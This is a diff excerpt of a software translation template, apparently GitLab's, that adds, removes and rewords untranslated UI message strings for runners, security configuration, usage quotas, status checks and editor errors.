@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
